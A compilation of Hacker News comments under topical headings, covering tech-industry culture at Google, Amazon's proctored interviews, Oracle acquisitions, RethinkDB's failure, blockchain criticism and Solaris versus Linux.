Google used to have a severe problem where code refactoring & maintenance was not rewarded in performance reviews while launches were highly regarded, which led to the effect of everybody trying to launch things as fast as possible and nobody cleaning up the messes left behind. Eventually launches started getting slowed down, Larry started asking "Why can't we have nice things?", and everybody responded "Because you've been paying us to rack up technical debt." As a result, teams were formed with the express purpose of code health & maintenance, those teams that were already working on those goals got more visibility, and refactoring contributions started counting for something in perf. Moreover, many ex-Googlers who were fed up with the situation went to Facebook and, I've heard, instituted a culture there where grungy engineering maintenance is valued by your peers.

None of this would've happened if people had just heroically fallen on their own sword and burnt out doing work nobody cared about. Sometimes it takes highly visible consequences before people with decision-making power realize there's a problem and start correcting it. If those consequences never happen, they'll keep believing it's not a problem and won't pay much attention to it.

Some downsides of immutability

Taking responsibility

The thing my grandfather taught me was that you live with all of your decisions for the rest of your life. When you make decisions which put other people at risk, you take on the risk that you are going to make someones life harder, possibly much harder. What is perhaps even more important is that no amount of "I'm so sorry I did that ..." will ever undo it. Sometimes its little things, like taking the last serving because you thought everyone had eaten, sometimes its big things like deciding that home is close enough that and you're sober enough to get there safely. They are all decisions we make every day. And as I've gotten older the weight of ones I wish I had made differently doesn't get any lighter. You can lie to yourself about your choices, rationalize them, but that doesn't change them either.

I didn't understand any of that when I was younger.

People who aren’t exactly lying

It took me too long to figure this out. There are some people to truly, and passionately, believe something they say to you, and realistically they personally can't make it happen so you can't really bank on that 'promise.'

I used to think those people were lying to take advantage, but as I've gotten older I have come to recognize that these 'yes' people get promoted a lot. And for some of them, they really do believe what they are saying.

As an engineer I've found that once I can 'calibrate' someone's 'yes-ness' I can then work with them, understanding that they only make 'wishful' commitments rather than 'reasoned' commitments.

So when someone, like Steve Jobs, says "we're going to make it an open standard!", my first question then is "Great, I've got your support in making this an open standard so I can count on you to wield your position influence to aid me when folks line up against that effort, right?" If the answer that that question is no, then they were lying.

The difference is subtle of course but important. Steve clearly doesn't go to standards meetings and vote etc, but if Manager Bob gets push back from accounting that he's going to exceed his travel budget by sending 5 guys to the Open Video Chat Working Group which is championing the Facetime protocol as an open standard, then Manager Bob goes to Steve and says "I need your help here, these 5 guys are needed to argue this standard and keep it from being turned into a turd by the 5 guys from Google who are going to attend." and then Steve whips off a one liner to accounting that says "Get off this guy's back we need this." Then its all good. If on the other hand he says "We gotta save money, send one guy." well in that case I'm more sympathetic to the accusation of prevarication.

What makes engineers productive ?

For those who work inside Google, it's well worth it to look at Jeff & Sanjay's commit history and code review dashboard. They aren't actually all that much more productive in terms of code written than a decent SWE3 who knows his codebase.

The reason they have a reputation as rockstars is that they can apply this productivity to things that really matter; they're able to pick out the really important parts of the problem and then focus their efforts there, so that the end result ends up being much more impactful than what the SWE3 wrote. The SWE3 may spend his time writing a bunch of unit tests that catch bugs that wouldn't really have happened anyway, or migrating from one system to another that isn't really a large improvement, or going down an architectural dead end that'll just have to be rewritten later. Jeff or Sanjay (or any of the other folks operating at that level) will spend their time running a proposed API by clients to ensure it meets their needs, or measuring the performance of subsystems so they fully understand their building blocks, or mentally simulating the operation of the system before building it so they rapidly test out alternatives. They don't actually write more code than a junior developer (oftentimes, they write less), but the code they do write gives them more information, which makes them ensure that they write the rightcode.

I feel like this point needs to be stressed a whole lot more than it is, as there's a whole mythology that's grown up around 10x developers that's not all that helpful. In particular, people need to realize that these developers rapidly become 1x developers (or worse) if you don't let them make their own architectural choices - the reason they're excellent in the first place is because they know how to determine if certain work is going to be useless and avoid doing it in the first place. If you dictate that they do it anyway, they're going to be just as slow as any other developer

Do the work, be a hero

I got the hero speech too, once. If anyone ever mentions the word "heroic" again and there isn't a burning building involved, I will start looking for new employment immediately. It seems that in our industry it is universally a code word for "We're about to exploit you because the project is understaffed and under budgeted for time and that is exactly as we planned it so you'd better cowboy up."

Maybe it is different if you're writing Quake, but I guarantee you the 43rd best selling game that year also had programmers "encouraged onwards" by tales of the glory that awaited after the death march.

Learning English from watching movies

I was once speaking to a good friend of mine here, in English.
"Do you want to go out for yakitori?"
"Go fuck yourself!"
"... switches to Japanese Have I recently done anything very major to offend you?"
"No, of course not."
"Oh, OK, I was worried. So that phrase, that's something you would only say under extreme distress when you had maximal desire to offend me, or I suppose you could use it jokingly between friends, but neither you nor I generally talk that way."
"I learned it from a movie. I thought it meant ‘No.’"

Being smart and getting things done

True story: I went to a talk given by one of the 'engineering elders' (these were low Emp# engineers who were considered quite successful and were to be emulated by the workers :-) This person stated when they came to work at Google they were given the XYZ system to work on (sadly I'm prevented from disclosing the actual system). They remarked how they spent a couple of days looking over the system which was complicated and creaky, they couldn't figure it out so they wrote a new system. Yup, and they committed that. This person is a coding God are they not? (sarcasm) I asked what happened to the old system (I knew but was interested on their perspective) and they said it was still around because a few things still used it, but (quite proudly) nearly everything else had moved to their new system.

So if you were reading carefully, this person created a new system to 'replace' an existing system which they didn't understand and got nearly everyone to move to the new system. That made them uber because they got something big to put on their internal resume, and a whole crapload of folks had to write new code to adapt from the old system to this new system, which imperfectly recreated the old system (remember they didn't understand the original), such that those parts of the system that relied on the more obscure bits had yet to be converted (because nobody undersood either the dependent code or the old system apparently).

Was this person smart? Blindingly brilliant according to some of their peers. Did they get things done? Hell yes, they wrote the replacement for the XYZ system from scratch! One person? Can you imagine? Would I hire them? Not unless they were the last qualified person in my pool and I was out of time.

That anecdote encapsulates the dangerous side of smart people who get things done.

Public speaking tips

Some kids grow up on football. I grew up on public speaking (as behavioral therapy for a speech impediment, actually). If you want to get radically better in a hurry:

Too long to excerpt. See the link.

A reason a company can be a bad fit

I can relate to this, but I can also relate to the other side of the question. Sometimes it isn't me, its you. Take someone who gets things done and suddenly in your organization they aren't delivering. Could be them, but it could also be you.

I had this experience working at Google. I had a horrible time getting anything done there. Now I spent a bit of time evaluating that since it had never been the case in my career, up to that point, where I was unable to move the ball forward and I really wanted to understand that. The short answer was that Google had developed a number of people who spent much, if not all, of their time preventing change. It took me a while to figure out what motivated someone to be anti-change.

The fear was risk and safety. Folks moved around a lot and so you had people in charge of systems they didn't build, didn't understand all the moving parts of, and were apt to get a poor rating if they broke. When dealing with people in that situation one could either educate them and bring them along, or steam roll over them. Education takes time, and during that time the 'teacher' doesn't get anything done. This favors steamrolling evolutionarily :-)

So you can hire someone who gets stuff done, but if getting stuff done in your organization requires them to be an asshole, and they aren't up for that, well they aren't going to be nearly as successful as you would like them to be.

What working at Google is like

I can tell that this was written by an outsider, because it focuses on the perks and rehashes several cliches that have made their way into the popular media but aren't all that accurate.

Most Googlers will tell you that the best thing about working there is having the ability to work on really hard problems, with really smart coworkers, and lots of resources at your disposal. I remember asking my interviewer whether I could use things like Google's index if I had a cool 20% idea, and he was like "Sure. That's encouraged. Oftentimes I'll just grab 4000 or so machines and run a MapReduce to test out some hypothesis." My phone screener, when I asked him what it was like to work there, said "It's a place where really smart people go to be average," which has turned out to be both true and honestly one of the best things that I've gained from working there.

NSA vs. Black Hat

This entire event was a staged press op. Keith Alexander is a ~30 year veteran of SIGINT, electronic warfare, and intelligence, and a Four-Star US Army General --- which is a bigger deal than you probably think it is. He's a spy chief in the truest sense and a master politician. Anyone who thinks he walked into that conference hall in Caesars without a near perfect forecast of the outcome of the speech is kidding themselves.

Heckling Alexander played right into the strategy. It gave him an opportunity to look reasonable compared to his detractors, and, more generally (and alarmingly), to have the NSA look more reasonable compared to opponents of NSA surveillance. It allowed him to "split the vote" with audience reactions, getting people who probably have serious misgivings about NSA programs to applaud his calm and graceful handling of shouted insults; many of those people probably applauded simply to protest the hecklers, who after all were making it harder for them to follow what Alexander was trying to say.

There was no serious Q&A on offer at the keynote. The questions were pre-screened; all attendees could do was vote on them. There was no possibility that anything would come of this speech other than an effectively unchallenged full-throated defense of the NSA's programs.

Are deadlines necessary ?

Interestingly one of the things that I found most amazing when I was working for Google was a nearly total inability to grasp the concept of 'deadline.' For so many years the company just shipped it by committing it to the release branch and having the code deploy over the course of a small number of weeks to the 'fleet'.

Sure there were 'processes', like "Canary it in some cluster and watch the results for a few weeks before turning it loose on the world." but being completely vertically integrated is a unique sort of situation.

Debugging on Windows vs. Linux

Being a very experienced game developer who tried to switch to Linux, I have posted about this before (and gotten flamed heavily by reactionary Linux people).

The main reason is that debugging is terrible on Linux. gdb is just bad to use, and all these IDEs that try to interface with gdb to "improve" it do it badly (mainly because gdb itself is not good at being interfaced with). Someone needs to nuke this site from orbit and build a new debugger from scratch, and provide a library-style API that IDEs can use to inspect executables in rich and subtle ways.

Productivity is crucial. If the lack of a reasonable debugging environment costs me even 5% of my productivity, that is too much, because games take so much work to make. At the end of a project, I just don't have 5% effort left any more. It requires everything. (But the current Linux situation is way more than a 5% productivity drain. I don't know exactly what it is, but if I were to guess, I would say it is something like 20%.)

What happens when you become rich ?

What is interesting is that people don't even know they have a complex about money until they get "rich." I've watched many people, perhaps a hundred, go from "working to pay the bills" to "holy crap I can pay all my current and possibly my future bills with the money I now have." That doesn't include the guy who lived in our neighborhood and won the CA lottery one year.

It affects people in ways they don't expect. If its sudden (like lottery winning or sudden IPO surge) it can be difficult to process. But it is an important thing to realize that one is processing an exceptional event. Like having a loved one die or a spouse suddenly divorcing you.

Not everyone feels "guilty", not everyone feels "smug." A lot of millionaires and billionaires in the Bay Area are outwardly unchanged. But the bottom line is that the emotion comes from the cognitive dissonance between values and reality. What do you value? What is reality?

One woman I knew at Google was massively conflicted when she started work at Google. She always felt that she would help the homeless folks she saw, if she had more money than she needed. Upon becoming rich (on Google stock value), now she found that she wanted to save the money she had for her future kids education and needs. Was she a bad person? Before? After? Do your kids hate you if you give away their college education to the local foodbank? Do your peers hate you because you could close the current food gap at the foodbank and you don't?

Microsoft’s Skype acquisition

This is Microsoft's ICQ moment. Overpaying for a company at the moment when its core competency is becoming a commodity. Does anyone have the slightest bit of loyalty to Skype? Of course not. They're going to use whichever video chat comes built into their SmartPhone, tablet, computer, etc. They're going to use FaceBook's eventual video chat service or something Google offers. No one is going to actively seek out Skype when so many alternatives exist and are deeply integrated into the products/services they already use. Certainly no one is going to buy a Microsoft product simply because it has Skype integration. Who cares if it's FaceTime, FaceBook Video Chat, Google Video Chat? It's all the same to the user.

With $7B they should have just given away about 15 million Windows Mobile phones in the form of an epic PR stunt. It's not a bad product -- they just need to make people realize it exists. If they want to flush money down the toilet they might as well engage users in the process right?

What happened to Google Fiber ?

I worked briefly on the Fiber team when it was very young (basically from 2 weeks before to 2 weeks after launch - I was on loan from Search specifically so that they could hit their launch goals). The bottleneck when I was there were local government regulations, and in fact Kansas City was chosen because it had a unified city/county/utility regulatory authority that was very favorable to Google. To lay fiber to the home, you either need right-of-ways on the utility poles (which are owned by Google's competitors) or you need permission to dig up streets (which requires a mess of permitting from the city government). In either case, the cable & phone companies were in very tight with local regulators, and so you had hostile gatekeepers whose approval you absolutely needed.

The technology was awesome (1G Internet and HDTV!), the software all worked great, and the economics of hiring contractors to lay the fiber itself actually worked out. The big problem was regulatory capture.

With Uber & AirBnB's success in hindsight, I'd say that the way to crack the ISP business is to provide your customers with the tools to break the law en masse. For example, you could imagine an ISP startup that basically says "Here's a box, a wire, and a map of other customers' locations. Plug into their jack, and if you can convince others to plug into yours, we'll give you a discount on your monthly bill based on how many you sign up." But Google in general is not willing to break laws - they'll go right up to the boundary of what the law allows, but if a regulatory agency says "No, you can't do that", they won't do it rather than fight the agency.

Indeed, Fiber is being phased out in favor of Google's acquisition of WebPass, which does basically exactly that but with wireless instead of fiber. WebPass only requires the building owner's consent, and leaves the city out of it.

What it's like to talk at Microsoft's TechEd

I've spoken at TechEds in the US and Europe, and been in the top 10 for attendee feedback twice.

I'd never speak at TechEd again, and I told Microsoft the same thing, same reasons. The event staff is overly demanding and inconsiderate of speaker time. They repeatedly dragged me into mandatory virtual and in-person meetings to cover inane details that should have been covered via email. They mandated the color of pants speakers wore. Just ridiculously micromanaged.

Why did Hertz suddenly become so flaky ?

Hertz laid off nearly the entirety of their rank and file IT staff earlier this year.

In order to receive our severance, we were forced to train our IBM replacements, who were in India. Hertz's strategy of IBM and Austerity is the new SMT's solution for a balance sheet that's in shambles, yet they have rewarded themselves by increasing executive compensation 35% over the prior year, including a $6 million bonus to the CIO.

I personally landed in an Alphabet company, received a giant raise, and now I get to work on really amazing stuff, so I'm doing fine. But to this day I'm sad to think how our once-amazing Hertz team, staffed with really smart people, led by the best boss I ever had, and were really driving the innovation at Hertz, was just thrown away like yesterday's garbage.

Before startups put clauses in contracts forbidden, they sometimes blocked sales via backchannel communications

Don't count on definitely being able to sell the stock to finance the taxes. I left after seven years in very good standing (I believed) but when I went to sell the deal was shut down [1]. Luckily I had a backup plan and I was ok [2].

[1] Had a handshake deal with an investor in the company, then the investor went silent on me. When I followed up he said the deal was "just much too small." I reached out to the company for help, and they said they'd actually told him not to buy from me. I never would have known if they hadn't decided to tell me for some reason. The takeaway is that the markets for private company stock tend to be small, and the buyers care more about their relationships with the company than they do about having your shares. Even if the stock terms allow them to buy, and they might not.

An Amazon pilot program designed to reduce the cost of interviewing

I took the first test just like the OP, the logical reasoning part seemed kind of irrelevant and a waste of time for me. That was nothing compared to the second online test.

The environment of the second test was like a scenario out of Black Mirror. Not only did they want to have the webcam and microphone on the entire time, I also had to install their custom software so the proctors could monitor my screen and control my computer. They opened up the macOS system preferences so they could disable all shortcuts to take screenshots, and they also manually closed all the background services I had running (even f.lux!).

Then they asked me to pick up my laptop and show them around my room with the webcam. They specifically asked to see the contents of my desk and the walls and ceiling of my room. I had some pencil and paper on my desk to use as scratch paper for the obvious reasons and they told me that wasn't allowed. Obviously that made me a little upset because I use it to sketch out examples and concepts. They also saw my phone on the desk and asked me to put it out of arm's reach.

After that they told me I couldn't leave the room until the 5 minute bathroom break allowed half-way through the test. I had forgotten to tell my roommate I was taking this test and he was making a bit of a ruckus playing L4D2 online (obviously a bit distracting). I asked the proctor if I could briefly leave the room to ask him to quiet down. They said I couldn't leave until the bathroom break so there was nothing I could do. Later on, I was busy thinking about a problem and had adjusted how I was sitting in my chair and moved my face slightly out of the camera's view. The proctor messaged me again telling me to move so they could see my entire face.

Amazon interviews, part 2

The first part of the interview was exactly like the linked experience. No coding questions just reasoning. The second part I had to use ProctorU instead of Proctorio. Personally I thought the experience was super weird but understandable, I'll get to that later, somebody watched me through my webcam the entire time with my microphone on. They needed to check my ID before the test. They needed me to show them the entire room I was in (which was my bedroom). My desktop computer was on behind my laptop so I turned off my computer (I don't remember if I offered to or if they asked me to) but they also asked me to cover my monitors up with something which I thought was silly after I turned them off so I covered them with a towel. They then used LogMeIn to remote into my machine so they could check running programs. I quit all my personal chat programs and pretty much only had the Chrome window running.

...

I didn't talk a real person who actually worked at Amazon (by email or through webcam) until I received an offer.

What's getting acquired by Oracle like ?

[M]y company got acquired by Oracle. We thought things would be OK. Nothing changed immediately. Slowly but surely they turned the screws. 5 year laptop replacement policy. You get the corporate standard laptop and you'll like it. Sales? Oh those guys can buy new Macs every two years, they get whatever they want. Then you understand where Software Engineers rank in the company hierarchy. Oracle took the average price of our product from $100k to $5 million for the same size deals. Our sales went from $5-7m to more than $40m with no increasing in engineering headcount (team of 15). Didn't matter when bonus time came, we all got stack-ranked and some people got nothing. As a top performer I got a few options, worth maybe $5k.

Oracle exists to extract the maximum amount of money possible from the Fortune 1000. Everyone else can fuck off. Your impotent internet rage is meaningless. If it doesn't piss off the CTO of $X then it doesn't matter. If it gets that CTO to cut a bigger check then it will be embraced with extreme enthusiasm.

The culture wears down a lot (but not all) of the good people, who then leave. What's left is a lot of mediocrity and architecture astronauts. The more complex the product the better - it means extra consulting dollars!

My relative works at a business dependent on Micros. When Oracle announced the acquisition I told them to start on the backup plan immediately because Oracle was going to screw them sooner or later. A few years on and that is proving true: Oracle is slowly excising the Micros dealers and ISVs out of the picture, gobbling up all the revenue while hiking prices.

How do you avoid hiring developers who do negative work ?

In practice, we have to face that all that our quest for more stringent hiring standards is not really selecting the best, but just selecting fewer people, in ways that might, or might not, have anything to do with being good at a job. Let's go through a few examples in my career:

A guy that was the most prolific developer I have ever seen: He'd rewrite entire subsystems over a weekend. The problem is that said susbsytems were not necessarily better than they started, trading bugs for bugs, and anyone that wanted to work on them would have to relearn that programmer's idiosyncrasies of the week. He easily cost his project 12 man/months of work in 4 months, the length of time it took for management to realize that he had to be let go.

A company's big UI framework was quite broken, and a new developer came in and fixed it. Great, right? Well, he was handed code review veto to changes into the framework, and his standards and his demeanor made people stop contributing after two or three attempts. In practice, the framework died as people found it antiquated, and they decided to build a new one: Well, the same developer was tasked with building new framwork, which was made mandatory for 200+ developers to use. Total contribution was clearly negative.

A developer that was very fast, and wrote working code, had been managing a rather large 500K line codebase, and received some developers as help. He didn't believe in internal documentation or on keeping interfaces stable. He also didn't believe in writing code that wasn't brittle, or in unit tests: Code changes from the new developers often broke things, the veteran would come in, fix everything in the middle of the emergency, and look absolutely great, while all the other developers looked to management as if they were incompetent. They were not, however: they were quite successful when moved to other teams. It just happens that the original developer made sure nobody else could touch anything. Eventually, the experiment was retried after the original developer was sent to do other things. It took a few months, but the new replacement team managed to modularize the code, and new people could actually modify the codebase productively.

All of those negative value developers could probably be very valuable in very specific conditions, and they'd look just fine in a tough job interview. They were still terrible hires. In my experience, if anything, a harder process that demands people to appear smarter or work faster in an interview have the opposite effect of what I'd want: They end up selecting for people that think less and do more quickly, building debt faster.

My favorite developers ever all do badly in your typical stringent Silicon Valley intervew. They work slower, do more thinking, and consider every line of code they write technical debt. They won't have a million algorithms memorized: They'll go look at sources more often than not, and will spend a lot of time on tests that might as well be documentation. Very few of those traits are positive in an interview, but I think they are vital in creating good teams, but few select for them at all.

Linux and the demise of Solaris

I worked on Solaris for over a decade, and for a while it was usually a better choice than Linux, especially due to price/performance (which includes how many instances it takes to run a given workload). It was worth fighting for, and I fought hard. But Linux has now become technically better in just about every way. Out-of-box performance, tuned performance, observability tools, reliability (on patched LTS), scheduling, networking (including TCP feature support), driver support, application support, processor support, debuggers, syscall features, etc. Last I checked, ZFS worked better on Solaris than Linux, but it's an area where Linux has been catching up. I have little hope that Solaris will ever catch up to Linux, and I have even less hope for illumos: Linux now has around 1,000 monthly contributors, whereas illumos has about 15.

In addition to technology advantages, Linux has a community and workforce that's orders of magnitude larger, staff with invested skills (re-education is part of a TCO calculation), companies with invested infrastructure (rewriting automation scripts is also part of TCO), and also much better future employment prospects (a factor than can influence people wanting to work at your company on that OS). Even with my considerable and well-known Solaris expertise, the employment prospects with Solaris are bleak and getting worse every year. With my Linux skills, I can work at awesome companies like Netflix (which I highly recommend), Facebook, Google, SpaceX, etc.

Large technology-focused companies, like Netflix, Facebook, and Google, have the expertise and appetite to make a technology-based OS decision. We have dedicated teams for the OS and kernel with deep expertise. On Netflix's OS team, there are three staff who previously worked at Sun Microsystems and have more Solaris expertise than they do Linux expertise, and I believe you'll find similar people at Facebook and Google as well. And we are choosing Linux.

The choice of an OS includes many factors. If an OS came along that was better, we'd start with a thorough internal investigation, involving microbenchmarks (including an automated suite I wrote), macrobenchmarks (depending on the expected gains), and production testing using canaries. We'd be able to come up with a rough estimate of the cost savings based on price/performance. Most microservices we have run hot in user-level applications (think 99% user time), not the kernel, so it's difficult to find large gains from the OS or kernel. Gains are more likely to come from off-CPU activities, like task scheduling and TCP congestion, and indirect, like NUMA memory placement: all areas where Linux is leading. It would be very difficult to find a large gain by changing the kernel from Linux to something else. Just based on CPU cycles, the target that should have the most attention is Java, not the OS. But let's say that somehow we did find an OS with a significant enough gain: we'd then look at the cost to switch, including retraining staff, rewriting automation software, and how quickly we could find help to resolve issues as they came up. Linux is so widely used that there's a good chance someone else has found an issue, had it fixed in a certain version or documented a workaround.

What's left where Solaris/SmartOS/illumos is better? 1. There's more marketing of the features and people. Linux develops great technologies and has some highly skilled kernel engineers, but I haven't seen any serious effort to market these. Why does Linux need to? And 2. Enterprise support. Large enterprise companies where technology is not their focus (eg, a breakfast cereal company) and who want to outsource these decisions to companies like Oracle and IBM. Oracle still has Solaris enterprise support that I believe is very competitive compared to Linux offerings.~

Why wasn't RethinkDB more sucessful ?

I'd argue that where RethinkDB fell down is on a step you don't list, "Understand the context of the problem", which you'd ideally do before figuring out how many people it's a problem for. Their initial idea was a MySQL storage engine for SSDs - the environmental change was that SSD prices were falling rapidly, SSDs have wildly different performance characteristics from disk, and so they figured there was an opportunity to catch the next wave. Only problem is that the biggest corporate buyers of SSDs are gigantic tech companies (eg. Google, Amazon) with large amounts of proprietary software, and so a generic MySQL storage engine isn't going to be useful to them anyway.

Unfortunately they'd already taken funding, built a team, and written a lot of code by the time they found that out, and there's only so far you can pivot when you have an ecosystem like that.

On falsehoods programmers believe about X

This unfortunately follows the conventions of the genre called "Falsehood programmers believe about X": ...

I honestly think this genre is horrible and counterproductive, even though the writer's intentions are good. It gives no examples, no explanations, no guidelines for proper implementations - just a list of condescending gotchas, showing off the superior intellect and perception of the author.

What does it mean if a company rescinds an offer because you tried to negotiate ?

It happens sometimes. Usually it's because of one of two situations:

1) The company was on the fence about wanting you anyway, and negotiating takes you from the "maybe kinda sorta want to work with" to the "don't want to work with" pile.

2) The company is looking for people who don't question authority and don't stick up for their own interests.

Both of these are red flags. It's not really a matter of ethics - they're completely within their rights to withdraw an offer for any reason - but it's a matter of "Would you really want to work there anyway?" For both corporations and individuals, it usually leads to a smoother life if you only surround yourself with people who really value you.

I feel like this is every HN discussion about "rates---comma---raising them": a mean-spirited attempt to convince the audience on the site that high rates aren't really possible, because if they were, the person telling you they're possible would be wealthy beyond the dreams of avarice. Once again: Patrick is just offering a more refined and savvy version of advice me and my Matasano friends gave him, and our outcomes are part of the record of a reasonable large public company.

This, by the way, is why I'll never write this kind of end-of-year wrap-up post (and, for the same reasons, why I'll never open source code unless I absolutely have to). It's also a big part of what I'm trying to get my hands around for the Starfighter wrap-up post. When we started Starfighter, everyone said "you're going to have such an amazing time because of all the HN credibility you have". But pretty much every time Starfighter actually came up on HN, I just wanted to hide under a rock. Even when the site is civil, it's still committed to grind away any joy you take either in accomplishing something near or even in just sharing something interesting you learned . You could sort of understand an atavistic urge to shit all over someone sharing an interesting experience that was pleasant or impressive. There's a bad Morrissey song about that. But look what happens when you share an interesting story that obviously involved significant unpleasantness and an honest accounting of one's limitations: a giant thread full of people piling on to question your motives and life choices. You can't win.

On the journalistic integrity of Quartz

I was the first person to be interviewed by this journalist (Michael Thomas @curious_founder). He approached me on Twitter to ask questions about digital nomad and remote work life (as I founded Nomad List and have been doing it for years).

I told him it'd be great to see more honest depictions as most articles are heavily idealized making it sound all great, when it's not necessarily. It's ups and downs (just like regular life really).

What happened next may surprise you. He wrote a hit piece on me changing my entire story that I told him over Skype into a clickbait article of how digital nomadism doesn't work and one of the main people doing it for awhile (en public) even settled down and gave up altogether.

I didn't settle down. I spent the summer in Amsterdam. Cause you know, it's a nice place! But he needed to say this to make a polarized hit piece with an angle. And that piece became viral. Resulting in me having to tell people daily that I didn't and getting lots of flack. You may understand it doesn't help if your entire startup is about something and a journalist writes a viral piece how you yourself don't even believe in that anymore. I contacted the journalist and Quartz but they didn't change a thing.

It's great this meant his journalistic breakthrough but it hurt me in the process.

I'd argue journalists like this are the whole problem we have these days. The articles they write can't be balanced because they need to get pageviews. Every potential to write something interesting quickly turns into clickbait. It turned me off from being interviewed ever again. Doing my own PR by posting comment sections of Hacker News or Reddit seems like a better idea (also see how Elon Musk does exactly this, seems smarter).

How did Click and Clack always manage to solve the problem ?

Hope this doesn't ruin it for you, but I knew someone who had a problem presented on the show. She called in and reached an answering machine. Someone called her and qualified the problem. Then one of the brothers called and talked to her for a while. Then a few weeks later (there might have been some more calls, I don't know) both brothers called her and talked to her for a while. Her parts of that last call was edited into the radio show so it sounded like she had called and they just figured out the answer on the spot.

Why are so many people down on blockchain ?

Blockchain is the world's worst database, created entirely to maintain the reputations of venture capital firms who injected hundreds of millions of dollars into a technology whose core defining insight was "You can improve on a Ponzi scam by making it self-organizing and distributed; that gets vastly more distribution, reduces the single point of failure, and makes it censorship-resistant."

That's more robust than I usually phrase things on HN, but you did ask. In slightly more detail:

Databases are wonderful things. We have a number which are actually employed in production, at a variety of institutions. They run the world. Meaningful applications run on top of Postgres, MySQL, Oracle, etc etc.

No meaningful applications run on top of "blockchain", because it is a marketing term. You cannot install blockchain just like you cannot install database. (Database sounds much cooler without the definitive article, too.) If you pick a particular instantiation of a blockchain-style database, it is a horrible, horrible database.

Can I pick on Bitcoin? Let me pick on Bitcoin. Bitcoin is claimed to be a global financial network and ready for production right now. Bitcoin cannot sustain 5 transactions per second, worldwide.

You might be sensibly interested in Bitcoin governance if, for some reason, you wanted to use Bitcoin. Bitcoin is a software artifact; it matters to users who makes changes to it and by what process. (Bitcoin is a software artifact, not a protocol, even though the Bitcoin community will tell you differently. There is a single C++ codebase which matters. It is essentially impossible to interoperate with Bitcoin without bugs-and-all replicating that codebase.) Bitcoin governance is captured by approximately ~5 people. This is a robust claim and requires extraordinary evidence.

Ordinary evidence would be pointing you, in a handwavy fashion, about the depth of acrimony with regards to raising the block size, which would let Bitcoin scale to the commanding heights of 10 or, nay, 100 transactions per second worldwide.

Extraordinary evidence might be pointing you to the time where the entire Bitcoin network was de-facto shut down based on the consensus of N people in an IRC channel. c.f. https://news.ycombinator.com/item?id=9320989 This was back in 2013. Long story short: a software update went awry so they rolled back global state by a few hours by getting the right two people to agree to it on a Skype call.

But let's get back to discussing that sole technical artifact. Bitcoin has a higher cost-to-value ratio than almost any technology conceivable; the cost to date is the market capitalization of Bitcoin. Because Bitcoin enters through a seigniorage mechanism, every Bitcoin existing was minted as compensation for "security the integrity of the blockchain" (by doing computationally expensive makework).

This cost is high. Today, routine maintenance of the Bitcoin network will cost the network approximately $1.5 million. That's on the order of $3 per write on a maximum committed capacity basis. It will cost another $1.5 million tomorrow, exchange rate depending.

(Bitcoin has successfully shifted much of the cost of operating its database to speculators rather than people who actually use Bitcoin for transaction processing. That game of musical chairs has gone on for a while.)

Bitcoin has some properties which one does not associate with many databases. One is that write acknowledgments average 5 minutes. Another is that they can stop, non-deterministically, for more than an hour at a time, worldwide, for all users simultaneously. This behavior is by design.

How big is the proprietary database market ?

  1. The database market is NOT closed. In fact, we are in a database boom. Since 2009 (the year RethinkDB was founded), there have been over 100 production grade databases released in the market. These span document stores, Key/Value, time series, MPP, relational, in-memory, and the ever increasing "multi model databases."

  2. Since 2009, over $600 MILLION dollars (publicly announced) has been invested in these database companies (RethinkDB represents 12.2M or about 2%). That's aside from money invested in the bigger established databases.

  3. Almost all of the companies that have raised funding in this period generate revenue from one of more of the following areas:

a) exclusive hosting (meaning AWS et al. do not offer this product) b) multi-node/cluster support c) product enhancements c) enterprise support

Looking at each of the above revenue paths as executed by RethinkDB:

a) RethinkDB never offered a hosted solution. Compose offered a hosted solution in October of 2014. b) RethinkDB didn't support true high availability until the 2.1 release in August 2015. It was released as open source and to my knowledge was not monetized. c/d) I've heard that an enterprise version of RethinkDB was offered near the end. Enterprise Support is, empirically, a bad approach for a venture backed company. I don't know that RethinkDB ever took this avenue seriously. Correct me if I am wrong.

A model that is not popular among RECENT databases but is popular among traditional databases is a standard licensing model (e.g. Oracle, Microsoft SQL Server). Even these are becoming more rare with the advent of A, but never underestimate the licensing market.

Again, this is complete conjecture, but I believe RethinkDB failed for a few reasons:

1) not pursuing one of the above revenue models early enough. This has serious affects on the order of the feature enhancements (for instance, the HA released in 2015 could have been released earlier at a premium or to help facilitate a hosted solution).

2) incorrect priority of enhancements:

2a) general database performance never reached the point it needed to. RethinkDB struggled with both write and read performance well into 2015. There was no clear value add in this area compared to many write or read focused databases released around this time.

2b) lack of (proper) High Availability for too long.

2c) ReQL was not necessary - most developers use ORMs when interacting with SQL. When you venture into analytical queries, we actually seem to make great effort to provide SQL: look at the number of projects or companies that exist to bring SQL to databases and filesystems that don't support it (Hive, Pig, Slam Data, etc).

2d) push notifications. This has not been demonstrated to be a clear market need yet. There are a small handful of companies that promoting development stacks around this, but no database company is doing the same.

2e) lack of focus. What was RethinkDB REALLY good at? It push ReQL and joins at first, but it lacked HA until 2015, struggled with high write or read loads into 2015. It then started to focus on real time notifications. Again, there just aren't many databases focusing on these areas.

My final thought is that RethinkDB didn't raise enough capital. Perhaps this is because of previous points, but without capital, the above can't be corrected. RethinkDB actually raised far less money than basically any other venture backed company in this space during this time.

Again, I've never run a database company so my thoughts are just from an outsider. However, I am the founder of a company that provides database integration products so I monitor this industry like I hawk. I simply don't agree that the database market has been "captured."

I expect to see even bigger growth in databases in the future. I'm happy to share my thoughts about what types of databases are working and where the market needs solutions. Additionally, companies are increasingly relying on third part cloud services for data they previously captured themselves. Anything from payment processes, order fulfillment, traffic analytics etc is now being handled by someone else.

A Google Maps employee's opinion on the Google Maps pricing change

I was a googler working on Google maps at the time of the API self immolation.

There were strong complaints from within about the price changes. Obviously everyone couldn't believe what was being planned, and there were countless spreadsheets and reports and SQL queries showing how this was going to shit all over a lot of customers that we'd be guaranteed to lose to a competitor.

Management didn't give a shit.

I don't know what the rationale was apart from some vague claim about "charging for value". A lot of users of the API apparently were basically under the free limits or only spending less than 100 USD on API usage so I can kind of understand the line of thought, but I still.thibk they went way too far.

I don't know what happened to the architects of the plan. I presume promo.

Edit: I should add that this was not a knee-jerk thing or some exec just woke up one day with an idea in their dreams. It was a planned change that took many months to plan and prepare for with endless preparations and reporting and so on.

???

How did HN get get the commenter base that it has? If you read HN, on any given week, there are at least as many good, substantial, comments as there are posts. This is different from every other modern public news aggregator I can find out there, and I don’t really know what the ingredients are that make HN successful.

For the last couple years (ish?), the moderation regime has been really active in trying to get a good mix of stories on the front page and in tamping down on gratuitously mean comments. But there was a period of years where the moderation could be described as sparse, arbitrary, and capricious, and while there are fewer “bad” comments now, it doesn’t seem like good moderation actually generates more “good” comments.

